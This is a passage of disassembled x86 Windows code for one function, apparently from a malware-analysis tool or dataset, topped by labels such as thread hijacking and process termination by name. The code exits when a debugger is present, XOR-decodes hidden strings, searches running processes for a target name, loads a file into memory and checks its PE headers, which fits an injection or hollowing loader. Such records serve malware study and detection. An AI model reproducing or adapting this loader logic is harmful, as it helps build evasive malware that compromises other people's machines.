Function at 0x4012d0
Capabilities:
Encode data using xor
Enumerate processes
Enumerate threads
Get file size
Hijack thread execution
Parse pe header
Read file on windows
Resume thread
Set console window title
Suspend thread
Terminate process
Terminate process by name

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x4c8
mov eax, dword [0x409004]
xor eax, esp
mov dword [esp + 0x4c4], eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x4012fe
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [0x407400]
xor edx, edx
movq xmm0, qword [str.oRUHTO_W53vC]
mov edi, dword [0x409410]
mov dword [esp + 0x8c], eax
mov al, byte [0x407404]
lea ecx, [edx + 0x1f]
mov byte [esp + 0x90], al
lea eax, [edx + 4]
movq qword [esp + 0x84], xmm0
mov dword [esp + 0x14], edx
cmp edi, 2
jl 0x401450
movaps xmm2, xmmword [0x4077c0]
mov edx, 8
movaps xmm3, xmmword [0x407810]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
movd xmm4, eax
psrad xmm1, xmm4
movd xmm5, ecx
movaps xmm0, xmm1
mov dword [esp + 0x14], edx
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x4077e0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x4077d0]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
movd xmm0, dword [str.oRUHTO_W53vC]
packuswb xmm1, xmm1
paddb xmm1, xmmword [str.7777777777777777]
pxor xmm1, xmm0
movaps xmm0, xmm2
movd dword [esp + 0x84], xmm1
movaps xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movaps xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x4077e0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
movd xmm0, dword [esp + 0x88]
packuswb xmm1, xmm1
paddb xmm1, xmmword [str.7777777777777777]
pxor xmm1, xmm0
movd dword [esp + 0x88], xmm1
nop dword [eax]
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x14]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x37
xor byte [esp + edx + 0x84], cl
inc edx
mov dword [esp + 0x14], edx
cmp edx, 0xd
jl 0x401450
lea eax, [esp + 0x84]
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
cmp byte [0x4072d7], 0
mov ecx, dword [0x4072d0]
mov esi, dword [str._PQ_yUVT_JV.b.___51i___m:5q]
mov dword [esp + 0x84], ecx
mov dword [esp + 0x88], esi
je 0x401606
xor edx, edx
mov dword [esp + 0x14], edx
cmp edi, 2
jl 0x4015d0
movaps xmm2, xmmword [0x4077c0]
mov eax, 4
movaps xmm4, xmmword [0x407810]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
movd xmm5, eax
mov eax, 0x1f
psrad xmm1, xmm5
movaps xmm0, xmm1
movd xmm6, eax
mov eax, dword [str.7777777777777777]
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x4077e0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x4077d0]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, ecx
pxor xmm1, xmm0
movaps xmm0, xmm2
movd dword [esp + 0x84], xmm1
movaps xmm1, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x4077e0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, esi
pxor xmm1, xmm0
movd dword [esp + 0x88], xmm1
jmp 0x401606
mov eax, 0x2f684bdb
mul edx
mov eax, dword [esp + 0x14]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [esp + 0x14]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x36
sub cl, al
add cl, 0x37
xor byte [esp + edx + 0x84], cl
inc edx
mov dword [esp + 0x14], edx
cmp edx, 8
jl 0x4015d0
push 7
push ecx
lea ecx, [esp + 0x28]
mov dword [esp + 0x28], 0
mov dword [esp + 0x38], 0
mov dword [esp + 0x3c], 0xf
call fcn.00405ac0
push 0
push 2
mov dword [esp + 0xd8], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [esp + 0x14], eax
cmp eax, 0xffffffff
jne 0x401687
mov edx, dword [esp + 0x34]
cmp edx, 0x10
jb 0x4018f3
mov ecx, dword [esp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x401678
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40188b
push edx
push ecx
call fcn.00405f38
add esp, 8
jmp 0x4018f3
lea ecx, [esp + 0xd0]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_Process32First]
lea ecx, [esp + 0xf4]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4016a0
mov edi, dword [esp + 0x30]
lea esi, [esp + 0xf4]
sub ecx, edx
cmp dword [esp + 0x34], 0x10
lea edx, [esp + 0x20]
cmovae edx, dword [esp + 0x20]
cmp ecx, edi
cmovb edi, ecx
sub edi, 4
jb 0x4016e1
nop dword [eax]
mov eax, dword [edx]
cmp eax, dword [esi]
jne 0x4016e6
add edx, 4
add esi, 4
sub edi, 4
jae 0x4016d0
cmp edi, 0xfffffffc
je 0x40171a
mov al, byte [edx]
cmp al, byte [esi]
jne 0x401713
cmp edi, 0xfffffffd
je 0x40171a
mov al, byte [edx + 1]
cmp al, byte [esi + 1]
jne 0x401713
cmp edi, 0xfffffffe
je 0x40171a
mov al, byte [edx + 2]
cmp al, byte [esi + 2]
jne 0x401713
cmp edi, 0xffffffff
je 0x40171a
mov al, byte [edx + 3]
cmp al, byte [esi + 3]
je 0x40171a
sbb eax, eax
or eax, 1
jmp 0x40171c
xor eax, eax
mov esi, dword [esp + 0x30]
test eax, eax
jne 0x401787
cmp esi, ecx
jb 0x401787
ja 0x401787
push dword [esp + 0x14]
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
mov eax, dword [esp + 0x34]
mov esi, dword [esp + 0xd8]
mov dword [esp + 0x14], esi
cmp eax, 0x10
jb 0x4018db
mov ecx, dword [esp + 0x20]
lea edx, [eax + 1]
mov eax, ecx
cmp edx, 0x1000
jb 0x401772
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40188b
push edx
push ecx
call fcn.00405f38
mov edi, dword [0x409410]
add esp, 8
jmp 0x4018fb
mov edi, dword [esp + 0x14]
lea eax, [esp + 0xd0]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x401855
lea ecx, [esp + 0xf4]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4017b0
sub ecx, edx
mov edi, esi
cmp dword [esp + 0x34], 0x10
lea edx, [esp + 0x20]
cmovae edx, dword [esp + 0x20]
cmp ecx, esi
lea esi, [esp + 0xf4]
cmovb edi, ecx
sub edi, 4
jb 0x4017f1
nop word [eax + eax]
mov eax, dword [edx]
cmp eax, dword [esi]
jne 0x4017f6
add edx, 4
add esi, 4
sub edi, 4
jae 0x4017e0
cmp edi, 0xfffffffc
je 0x40182a
mov al, byte [edx]
cmp al, byte [esi]
jne 0x401823
cmp edi, 0xfffffffd
je 0x40182a
mov al, byte [edx + 1]
cmp al, byte [esi + 1]
jne 0x401823
cmp edi, 0xfffffffe
je 0x40182a
mov al, byte [edx + 2]
cmp al, byte [esi + 2]
jne 0x401823
cmp edi, 0xffffffff
je 0x40182a
mov al, byte [edx + 3]
cmp al, byte [esi + 3]
je 0x40182a
sbb eax, eax
or eax, 1
jmp 0x40182c
xor eax, eax
mov esi, dword [esp + 0x30]
test eax, eax
jne 0x40183a
cmp esi, ecx
jb 0x40183a
jbe 0x401891
mov edi, dword [esp + 0x14]
lea eax, [esp + 0xd0]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x4017a2
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call eax
mov eax, dword [esp + 0x34]
cmp eax, 0x10
jb 0x4018ed
mov ecx, dword [esp + 0x20]
lea edx, [eax + 1]
mov eax, ecx
cmp edx, 0x1000
jb 0x4018e3
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4018e3
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push dword [esp + 0x14]
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
mov eax, dword [esp + 0x34]
mov esi, dword [esp + 0xd8]
mov dword [esp + 0x14], esi
cmp eax, 0x10
jb 0x4018db
mov ecx, dword [esp + 0x20]
lea edx, [eax + 1]
mov eax, ecx
cmp edx, 0x1000
jb 0x4018d1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40188b
push edx
push ecx
call fcn.00405f38
add esp, 8
mov edi, dword [0x409410]
jmp 0x4018fb
push edx
push ecx
call fcn.00405f38
add esp, 8
mov edi, dword [0x409410]
mov dword [esp + 0x14], 0
movups xmm0, xmmword [0x407388]
mov al, byte [0x407398]
xor edx, edx
mov dword [esp + 0xac], 0x1c
mov dword [esp + 0x1f8], 0x10007
mov byte [esp + 0x30], al
mov dword [esp + 0x1c], edx
lea esi, [edx + 4]
movups xmmword [esp + 0x20], xmm0
cmp edi, 2
jl 0x401a70
movaps xmm0, xmmword [str.7777777777777777]
mov eax, 0x1f
movaps xmm4, xmmword [0x4077c0]
movaps xmm3, xmmword [0x407810]
movaps xmm6, xmmword [0x4077e0]
movaps xmmword [esp + 0x60], xmm0
mov ecx, dword [esp + 0x60]
movd xmm5, esi
movd xmm7, eax
nop word [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x20]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [esp + edx + 0x20], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x24]
pxor xmm1, xmm0
movd dword [esp + edx + 0x24], xmm1
add edx, 8
cmp edx, 0x10
jl 0x401970
mov dword [esp + 0x1c], edx
cmp edx, 0x11
jge 0x401aa0
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x1c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x37
xor byte [esp + edx + 0x20], cl
inc edx
mov dword [esp + 0x1c], edx
cmp edx, 0x11
jl 0x401a70
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea edx, [esp + 0x20]
call fcn.00405c00
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ax, word [0x407590]
xor edx, edx
mov word [esp + 0x30], ax
mov al, byte [0x407592]
mov byte [esp + 0x32], al
mov dword [esp + 0x1c], edx
movups xmm0, xmmword [0x407580]
movups xmmword [esp + 0x20], xmm0
cmp edi, 2
jl 0x401c20
movaps xmm0, xmmword [str.7777777777777777]
mov eax, 0x1f
movaps xmm4, xmmword [0x4077c0]
movaps xmm3, xmmword [0x407810]
movaps xmm6, xmmword [0x4077e0]
movaps xmmword [esp + 0x60], xmm0
mov ecx, dword [esp + 0x60]
movd xmm5, esi
movd xmm7, eax
nop dword [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x20]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [esp + edx + 0x20], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x24]
pxor xmm1, xmm0
movd dword [esp + edx + 0x24], xmm1
add edx, 8
cmp edx, 0x10
jl 0x401b20
mov dword [esp + 0x1c], edx
cmp edx, 0x13
jge 0x401c50
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x1c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x37
xor byte [esp + edx + 0x20], cl
inc edx
mov dword [esp + 0x1c], edx
cmp edx, 0x13
jl 0x401c20
lea eax, [esp + 0x20]
push eax
call fcn.00401010
add esp, 4
lea eax, [esp + 0x84]
push 0
push 0
push 3
push 0
push 3
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x401e39
movups xmm0, xmmword [0x407494]
mov eax, dword [0x4074b4]
xor edx, edx
mov dword [esp + 0x40], eax
mov al, byte [0x4074b8]
mov byte [esp + 0x44], al
mov dword [esp + 0x14], edx
movups xmmword [esp + 0x20], xmm0
movups xmm0, xmmword [0x4074a4]
movups xmmword [esp + 0x30], xmm0
cmp edi, 2
jl 0x401e00
movaps xmm0, xmmword [str.7777777777777777]
mov eax, 4
movaps xmm4, xmmword [0x4077c0]
movaps xmm3, xmmword [0x407810]
movaps xmm6, xmmword [0x4077e0]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [esp + 0x60], xmm0
mov ecx, dword [esp + 0x60]
movd xmm7, eax
nop word [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x20]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [esp + edx + 0x20], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x24]
pxor xmm1, xmm0
movd dword [esp + edx + 0x24], xmm1
add edx, 8
cmp edx, 0x20
jl 0x401d00
mov dword [esp + 0x14], edx
cmp edx, 0x25
jge 0x401e30
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x14]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x37
xor byte [esp + edx + 0x20], cl
inc edx
mov dword [esp + 0x14], edx
cmp edx, 0x25
jl 0x401e00
lea eax, [esp + 0x20]
jmp 0x405a98
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 4
push 0x3000
push eax
push 0
mov dword [esp + 0x28], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
mov dword [esp + 0x10], edi
test edi, edi
jne 0x40203e
movups xmm0, xmmword [0x407238]
mov eax, dword [0x407268]
xor edx, edx
cmp dword [0x409410], 2
movups xmmword [esp + 0x20], xmm0
mov dword [esp + 0x50], eax
movups xmm0, xmmword [0x407248]
mov al, byte [0x40726c]
mov byte [esp + 0x54], al
movups xmmword [esp + 0x30], xmm0
mov dword [esp + 0x14], edx
movups xmm0, xmmword [0x407258]
movups xmmword [esp + 0x40], xmm0
jl 0x401fe4
movaps xmm0, xmmword [str.7777777777777777]
mov eax, 4
movaps xmm4, xmmword [0x4077c0]
movaps xmm3, xmmword [0x407810]
movaps xmm6, xmmword [0x4077e0]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [esp + 0x60], xmm0
mov ecx, dword [esp + 0x60]
movd xmm7, eax
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x20]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [esp + edx + 0x20], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x24]
pxor xmm1, xmm0
movd dword [esp + edx + 0x24], xmm1
add edx, 8
cmp edx, 0x30
jl 0x401ee4
mov dword [esp + 0x14], edx
cmp edx, 0x35
jge 0x402014
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x14]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x37
xor byte [esp + edx + 0x20], cl
inc edx
mov dword [esp + 0x14], edx
cmp edx, 0x35
jl 0x401fe4
lea eax, [esp + 0x20]
push eax
call fcn.00401010
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
mov ecx, dword [esp + 0x4c4]
xor ecx, esp
call fcn.00405efa
mov esp, ebp
pop ebp
ret
push 0
lea eax, [esp + 0xd0]
push eax
push dword [esp + 0x20]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x402238
movups xmm0, xmmword [0x4076d4]
mov eax, dword [0x4076f4]
xor edx, edx
cmp dword [0x409410], 2
movups xmmword [esp + 0x20], xmm0
mov dword [esp + 0x40], eax
movups xmm0, xmmword [0x4076e4]
mov al, byte [0x4076f8]
mov byte [esp + 0x44], al
movups xmmword [esp + 0x30], xmm0
mov dword [esp + 0x14], edx
jl 0x4021d0
movaps xmm0, xmmword [str.7777777777777777]
mov eax, 4
movaps xmm4, xmmword [0x4077c0]
movaps xmm3, xmmword [0x407810]
movaps xmm6, xmmword [0x4077e0]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [esp + 0x60], xmm0
mov ecx, dword [esp + 0x60]
movd xmm7, eax
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x20]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [esp + edx + 0x20], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x24]
pxor xmm1, xmm0
movd dword [esp + edx + 0x24], xmm1
add edx, 8
cmp edx, 0x20
jl 0x4020d0
mov dword [esp + 0x14], edx
cmp edx, 0x25
jge 0x402200
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x14]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x37
xor byte [esp + edx + 0x20], cl
inc edx
mov dword [esp + 0x14], edx
cmp edx, 0x25
jl 0x4021d0
lea eax, [esp + 0x20]
push eax
call fcn.00401010
add esp, 4
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
mov ecx, dword [esp + 0x4c4]
xor ecx, esp
call fcn.00405efa
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0x5a4d
cmp word [edi], ax
je 0x402424
movups xmm0, xmmword [0x407674]
mov ax, word [0x407694]
xor edx, edx
cmp dword [0x409410], 2
movups xmmword [esp + 0x20], xmm0
mov word [esp + 0x40], ax
movups xmm0, xmmword [0x407684]
mov al, byte [0x407696]
mov byte [esp + 0x42], al
movups xmmword [esp + 0x30], xmm0
mov dword [esp + 0x14], edx
jl 0x4023c3
movaps xmm0, xmmword [str.7777777777777777]
mov eax, 4
movaps xmm4, xmmword [0x4077c0]
movaps xmm3, xmmword [0x407810]
movaps xmm6, xmmword [0x4077e0]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [esp + 0x60], xmm0
mov ecx, dword [esp + 0x60]
movd xmm7, eax
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x20]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [esp + edx + 0x20], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4077f0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x24]
pxor xmm1, xmm0
movd dword [esp + edx + 0x24], xmm1
add edx, 8
cmp edx, 0x20
jl 0x4022c3
mov dword [esp + 0x14], edx
cmp edx, 0x23
jge 0x4023f3
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x14]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x37
xor byte [esp + edx + 0x20], cl
inc edx
mov dword [esp + 0x14], edx
cmp edx, 0x23
jl 0x4023c3
lea eax, [esp + 0x20]
push eax
call fcn.00401010
add esp, 4
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
pop edi
pop esi
mov ecx, dword [esp + 0x4c4]
xor ecx, esp
call fcn.00405efa
mov esp, ebp
pop ebp
ret
mov eax, dword [edi + 0x3c]
add eax, edi
mov dword [esp + 0x80], eax
cmp dword [eax], 0x4550
je 0x4025f9
cmp byte [0x4074f3], 0
movups xmm0, xmmword [0x4074d8]
